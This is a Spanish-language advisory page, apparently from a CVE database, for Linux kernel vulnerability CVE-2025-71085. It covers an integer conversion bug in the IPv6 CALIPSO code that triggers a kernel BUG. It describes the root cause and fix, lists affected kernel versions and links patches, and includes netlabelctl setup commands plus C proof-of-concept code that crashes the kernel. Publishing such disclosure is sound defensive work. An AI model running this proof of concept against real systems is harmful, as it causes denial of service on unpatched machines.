Vulnerabilidad en Linux (CVE-2025-71085)
Gravedad CVSS v3.1:
MEDIA
Tipo:
No Disponible / Otro tipo
Fecha de publicación:
13/01/2026
Última modificación:
25/03/2026
Descripción
En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:<br />
<br />
ipv6: BUG() en pskb_expand_head() como parte de calipso_skbuff_setattr()<br />
<br />
Existe un oops del kernel causado por un BUG_ON(nhead &lt; 0) en net/core/skbuff.c:2232 en pskb_expand_head(). Este error se activa como parte de la rutina calipso_skbuff_setattr() cuando a skb_cow() se le pasa un headroom &gt; INT_MAX (es decir, (int)(skb_headroom(skb) + len_delta) &lt; 0).<br />
<br />
La causa raíz del error se debe a una conversión implícita de entero en __skb_cow(). La comprobación (headroom &gt; skb_headroom(skb)) tiene como objetivo asegurar que delta = headroom - skb_headroom(skb) nunca sea negativo, de lo contrario, activaremos un BUG_ON en pskb_expand_head(). Sin embargo, si headroom &gt; INT_MAX y delta &lt;= -NET_SKB_PAD, la comprobación pasa, delta se vuelve negativo y a pskb_expand_head() se le pasa un valor negativo para nhead.<br />
<br />
Corregir la condición de activación en calipso_skbuff_setattr(). Evitar pasar tamaños de &#39;headroom&#39; &#39;negativos&#39; a skb_cow() dentro de calipso_skbuff_setattr() utilizando únicamente skb_cow() para aumentar el headroom.<br />
<br />
PoC:<br />
Usando la herramienta &#39;netlabelctl&#39;:<br />
<br />
netlabelctl map del default<br />
netlabelctl calipso add pass doi:7<br />
netlabelctl map add default address:0::1/128 protocol:calipso,7<br />
<br />
Luego ejecute el siguiente PoC:<br />
<br />
int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);<br />
<br />
// setup msghdr<br />
int cmsg_size = 2;<br />
int cmsg_len = 0x60;<br />
struct msghdr msg;<br />
struct sockaddr_in6 dest_addr;<br />
struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,<br />
sizeof(struct cmsghdr) + cmsg_len);<br />
msg.msg_name = &amp;dest_addr;<br />
msg.msg_namelen = sizeof(dest_addr);<br />
msg.msg_iov = NULL;<br />
msg.msg_iovlen = 0;<br />
msg.msg_control = cmsg;<br />
msg.msg_controllen = cmsg_len;<br />
msg.msg_flags = 0;<br />
<br />
// setup sockaddr<br />
dest_addr.sin6_family = AF_INET6;<br />
dest_addr.sin6_port = htons(31337);<br />
dest_addr.sin6_flowinfo = htonl(31337);<br />
dest_addr.sin6_addr = in6addr_loopback;<br />
dest_addr.sin6_scope_id = 31337;<br />
<br />
// setup cmsghdr<br />
cmsg-&gt;cmsg_len = cmsg_len;<br />
cmsg-&gt;cmsg_level = IPPROTO_IPV6;<br />
cmsg-&gt;cmsg_type = IPV6_HOPOPTS;<br />
char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);<br />
hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80<br />
<br />
sendmsg(fd, &amp;msg, 0);
Impacto
Puntuación base 3.x
5.50
Gravedad 3.x
MEDIA
Productos y versiones vulnerables
| CPE | Desde | Hasta |
|---|---|---|
| cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* | 4.8.1 (incluyendo) | 5.10.248 (excluyendo) |
| cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* | 5.11 (incluyendo) | 5.15.198 (excluyendo) |
| cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* | 5.16 (incluyendo) | 6.1.160 (excluyendo) |
| cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* | 6.2 (incluyendo) | 6.6.120 (excluyendo) |
| cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* | 6.7 (incluyendo) | 6.12.64 (excluyendo) |
| cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* | 6.13 (incluyendo) | 6.18.4 (excluyendo) |
| cpe:2.3:o:linux:linux_kernel:4.8:-:*:*:*:*:*:* | ||
| cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:* | ||
| cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:* | ||
| cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:* | ||
| cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:* | ||
| cpe:2.3:o:linux:linux_kernel:6.19:rc5:*:*:*:*:*:* | ||
| cpe:2.3:o:linux:linux_kernel:6.19:rc6:*:*:*:*:*:* | ||
| cpe:2.3:o:linux:linux_kernel:6.19:rc7:*:*:*:*:*:* | ||
| cpe:2.3:o:linux:linux_kernel:6.19:rc8:*:*:*:*:*:* |
Para consultar la lista completa de nombres de CPE con productos y versiones, ver esta página
Referencias a soluciones, herramientas e información
- https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1
- https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83
- https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910
- https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570
- https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2
- https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24
- https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0



